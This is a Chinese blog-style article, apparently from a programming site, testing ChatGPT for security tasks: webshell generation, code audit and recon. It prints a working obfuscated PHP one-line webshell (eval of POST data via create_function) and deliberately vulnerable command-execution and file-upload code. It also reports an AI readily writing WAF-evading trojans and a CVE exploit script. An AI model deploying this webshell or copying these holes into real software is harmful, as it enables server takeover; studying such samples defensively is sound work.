我的编程空间,编程开发者的网络收藏夹
学习永远不晚

ChatGPT在信息安全中怎么应用

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

ChatGPT在信息安全中怎么应用

这篇“ChatGPT在信息安全中怎么应用”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“ChatGPT在信息安全中怎么应用”文章吧。

自身定位

在实践之前,我想向ChatGPT问一下它自己对于这个问题的回答是什么,即让它自己对信息安全领域起的作用进行一些分析,结果还是挺让人惊讶的:

ChatGPT在信息安全中怎么应用

它回答的十分全面,里面有一些内容连我自己都没有想到,于是我对探讨它在信息安全领域的作用的兴趣进一步加深,下面我便对它进行了一些测试。

构造恶意代码

这里就先以最简单的一句话木马为例,我向它提问是否能构造一个对网站产生威胁的恶意语句,AI很轻松的便回答出来了:

ChatGPT在信息安全中怎么应用

看来简单的恶意语句还是对它来说还是很轻松的,于是我继续向它提问一些进阶的问题:我让它用字符编码的方式来构造恶意木马:

ChatGPT在信息安全中怎么应用

还是完整的写完了,根据其代码逻辑实际上也是可以利用的,到这我继续加深难度:

ChatGPT在信息安全中怎么应用

可能是我尝试次数比较少的原因,并没有达到我理想的条件,或许再多增加一些限制条件会达到更好的效果,但是不难看出随着AI的逐渐进化,以后我们对一些WAF或杀毒软件进行测试时,可以结合AI来对产品代码进行分析,让AI构造出可以绕过的木马。

在测试时我还尝试让AI分析带有危险函数的代码,对下面这段恶意代码:

<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php

AI给出了比较正确的分析

ChatGPT在信息安全中怎么应用

这又给我们提供了一个思路,通过AI结合防火墙来达到动态分析恶意请求的想法,进而加强我们设备的安全性。

漏洞源码分析

尝试完上面的项目,我开始思考,能否结合AI来进行代码审计,众所周知,白盒测试又称结构测试、透明盒测试、逻辑驱动测试或基于代码的测试。通过分析代码找到里面的漏洞点来维护网络安全,如果AI和它碰撞会产生什么样的火花呢?下面看一个例子:

我用一个简单的代码让其分析一下:

分析代码:<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|\x09|\x26|>|</i", $c)){        system($c);    }}else{    highlight_file(__FILE__);

结果还是很方便理解的,给出了这段代码的作用以及过滤的所有字符,我们可以根据这些提示来进行渗透或者防护。

ChatGPT在信息安全中怎么应用

之后我让其分析一个简单的有文件上传漏洞的代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']                        if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '文件类型不正确,请重新上传!';        }    } else {        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';    }}

经过了十几次的改善,给了我如下还算合理的回复:

ChatGPT在信息安全中怎么应用

虽然回答没啥毛病但这是经过十几次更新我筛选出来的,个人认为AI现在还达不到分析一些大量代码来给出一些合理的漏洞攻击思路,当然也可能是我提问的方式有问题,有时会出现答非所问的情况,不过我觉得随着技术更新这些小问题应该可以解决。

信息收集

在进行网站渗透时,不管是网站信息或是网站所用服务的信息都是非常重要的,这会考察一个渗透人员的信息收集能力,收集到的信息越多对我们的渗透帮助越大,于是我想试试AI能否协助我们进行这个操作。

当然这只是最基础的,我们通过工具也可以进行查询,但AI搜索速度还是远远大于工具的,这不妨是一个我们进行渗透测试时可以快速进行资产收集的好途径。说到这我们不妨进一步思考,作为帮助我们渗透的工具,若我已经收集到了网站所用框架以及版本,我想问问它如何渗透:

ChatGPT在信息安全中怎么应用

这里AI给出了我们一个可利用的CVE漏洞,那么我继续向其提问具体利用方式:

ChatGPT在信息安全中怎么应用

就很有意思了,它真的给我们提供了一个脚本,先不提这个脚本,我觉得在渗透中有个AI能够随时帮助我们收集信息和脚本这能大大加快我们的渗透过程,我希望未来能发展成这样的趋势。让渗透人员少一些不必要的操作从而加大效率。

以上就是关于“ChatGPT在信息安全中怎么应用”这篇文章的内容,相信大家都有了一定的了解,希望小编分享的内容对大家有帮助,若想了解更多相关的知识内容,请关注编程网行业资讯频道。

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

ChatGPT在信息安全中怎么应用

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

ChatGPT在信息安全中怎么应用

这篇“ChatGPT在信息安全中怎么应用”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“ChatGPT在信息安全中怎么应用”文
2023-07-05

Python在网络安全领域应用:护卫信息安全的神兵利器

Python因其强大性能和灵活性在网络安全领域发挥着重要作用,本文将探讨Python在网络安全领域的应用以及相关的技术。
Python在网络安全领域应用:护卫信息安全的神兵利器
2024-02-03

信息安全工程师报名信息怎么填?信息安全工程师报名信息填写要求

信息安全工程师报名信息怎么填?信息安全工程师报名职称栏怎么填?信息安全工程师报名在职情况选什么?针对这些问题,编程学习网小编整理了软考信息安全工程师报名信息填写要求的内容,详见正文。
信息安全工程师报名信息怎么填?信息安全工程师报名信息填写要求
2024-08-23

信息安全工程师怎么考?

摘要: 信息安全工程师怎么考?信息安全工程师是软考新增的一门中级考试项目,那么信息安全工程师如何报考,有哪些流程呢?  信息安全工程师是全国计算机技术与软件专业技术资格(水平)考试(简称软考)新增的一个考试项目,属于软考中级资格,那么信息安全工程师要怎么报考呢?  报名软考任何级别不需要学历、资历条件,只要达
信息安全工程师怎么考?
2024-04-19

ChatGPT在前端领域怎么应用

这篇文章主要介绍“ChatGPT在前端领域怎么应用”,在日常操作中,相信很多人在ChatGPT在前端领域怎么应用问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”ChatGPT在前端领域怎么应用”的疑惑有所帮助!
2023-07-05

信息安全工程师怎么报名

  信息安全工程师属于软考,软考每年有两次考试,分别安排在上半年和下半年。各省信息安全工程师报名时间有所不同,报名方式也不一样,大部分地区可以通过中国计算机技术职业资格网报名。今天编程学习网小编就给大家详细来介绍一下。  信息安全工程师属于软考的一个资格考试,软考上半年考试时间在5月下旬,报名时间通常从2月底陆续开始,大部
信息安全工程师怎么报名
2024-04-18

信息安全工程师嵌入式系统的安全应用考点

  信息安全工程师嵌入式系统的安全应用考点有哪些?为了方便考生及时有效的备考,编程学习网小编为大家精心整理了软考信息安全工程师嵌入式系统的安全应用考试知识点,供大家参考和学习。如想获取更多计算机软件水平考试的模拟题及备考资料,请关注编程学习网网站的更新。  【考法分析】  本考点主要是对嵌入式系统安全应用相关内容的考查。  【
信息安全工程师嵌入式系统的安全应用考点
2024-04-18

信息安全工程师网络安全防护技术的应用考点

  信息安全工程师网络安全防护技术的应用考点有哪些?为了方便考生及时有效的备考,编程学习网小编为大家精心整理了软考信息安全工程师网络安全防护技术的应用考试知识点,供大家参考和学习。如想获取更多计算机软件水平考试的模拟题及备考资料,请关注编程学习网网站的更新。  【考法分析】  本考点主要是对网络安全防护技术的应用相关内容进行考
信息安全工程师网络安全防护技术的应用考点
2024-04-18

信息安全技术应用专科生好就业吗

  信息安全技术应用专科生好就业吗?信息安全技术应用专科生好就业怎么样?信息安全技术应用专科生在就业市场上有良好的就业前景。随着信息化进程的不断加快和网络攻击事件的增加,信息安全领域对专业人才的需求不断增长。  信息安全技术应用专科生在就业市场上有良好的就业前景。随着信息化进程的不断加快和网络攻击事件的增加,信息安全领
信息安全技术应用专科生好就业吗
2024-04-19

信息安全工程师怎么评职称

  取得信息安全工程师证书后,想要评职称需要看所在单位是否有相应的空余专业技术职务,有相应的空余专业技术职务自身符合各方面要求就可以申请评聘,具体评聘结果由所在单位决定。  信息安全工程师证书属于软考证书。根据国人部发[2003]39号第十条:通过软考获得证书的人员,表明其已具备从事相应专业岗位工作的水平和能力,用人单
信息安全工程师怎么评职称
2024-04-19

软考信息安全工程师哪年开始的?中级信息安全工程师考什么

  软考信息安全工程师哪年开始的?软考中级信息安全工程师考什么?软考信息安全工程师2016年下半年首次开考,软考信息安全工程师考试内容及相关信息详见正文。  软考信息安全工程师2016年下半年首次开考。当时的互联网发展迅速,各行各业对信息安全都比较重视,信息安全不但涉及个人还有企业和政府单位等,一旦失守即带来巨大损失和
软考信息安全工程师哪年开始的?中级信息安全工程师考什么
2024-04-19

信息安全工程师怎么报名?软考信息安全工程师报名流程简介

  信息安全工程师怎么报名?软考信息安全工程师报名流程有哪些?信息安全工程师报名采用线上报名的方式,报名网站为中国计算机技术职业资格网,软考信息安全工程师报名流程详见正文。  信息安全工程师报名采用线上报名的方式,报名网站为中国计算机技术职业资格网,网站网址:https://www.ruankao.org.cn/。软考
信息安全工程师怎么报名?软考信息安全工程师报名流程简介
2024-04-19

2024年软考信息安全工程师怎么考?软考信息安全工程师考试全程指导

2024年软考信息安全工程师考试是一个重要的职业资格认证考试,主要面向从事信息安全工作的技术人员。本专题旨在提供全面的备考指导和建议,帮助考生高效准备并顺利通过考试。具体请见下文。
2024年软考信息安全工程师怎么考?软考信息安全工程师考试全程指导
2024-08-05

信息安全工程师P2P应用协议考试资料

  信息安全工程师P2P应用协议考试资料有哪些?为了方便考生及时有效的备考,编程学习网小编为大家精心整理了软考信息安全工程师P2P应用协议考试知识点,供大家参考和学习。如想获取更多计算机软件水平考试的模拟题及备考资料,请关注编程学习网网站的更新。  P2P (PeertoPeer) 应用协议  另一种模式应用模式叫点对点的应用
信息安全工程师P2P应用协议考试资料
2024-04-18

信息安全工程师应用技术总分是多少

  满分为75分。信息安全工程师下午考试为应用技术,应用技术满分是75分,合格标准基本上稳定在45分合格。信息安全工程师考试需要各科目在一次考试中都及格才算合格。  信息安全工程师考试包含基础知识和应用技术,各科目满分均为75分,合格标准基本上稳定在45分。信息安全工程师各科目考试时间安排在一天,上午考基础知识,下午考
信息安全工程师应用技术总分是多少
2024-04-18

信息安全工程师通过率怎么样?

  信息安全工程师通过率怎么样?信息安全工程师是2016年软考新开的考试科目,属于软考中级资格考试,每年报考的人很多,今天编程学习网小编来跟大家说说近几年信息安全工程师考试通过率到底如何呢?  软考信息安全工程师是2016年新增的中级资格考试,而且每年只考一次,因此历年的通过率情况目前也并不是特别明确。信息安全工程师属于软
信息安全工程师通过率怎么样?
2024-04-18

如何在 iOS 应用中添加位置信息

目录获取设备位置信息在锁屏情况下继续更新 GPS 信息为应用添加后台位置权限最近要在 iOS 应用中添加位置信息, 需要满足的需求如下:应用在前台时能够获取位置信息;通过切换、 Home 按键将应用切换到后台时,停止获取位置信息;应用程序在
2022-06-04

怎么用SSL证书加固网站信息的安全性

这篇文章主要介绍怎么用SSL证书加固网站信息的安全性,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!  随着电子商务的发展,网上购物的信息安全一直是很多人担心的焦点。为了保证在线客户的隐私信息的安全,越来越多的网站运用
2023-06-13

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录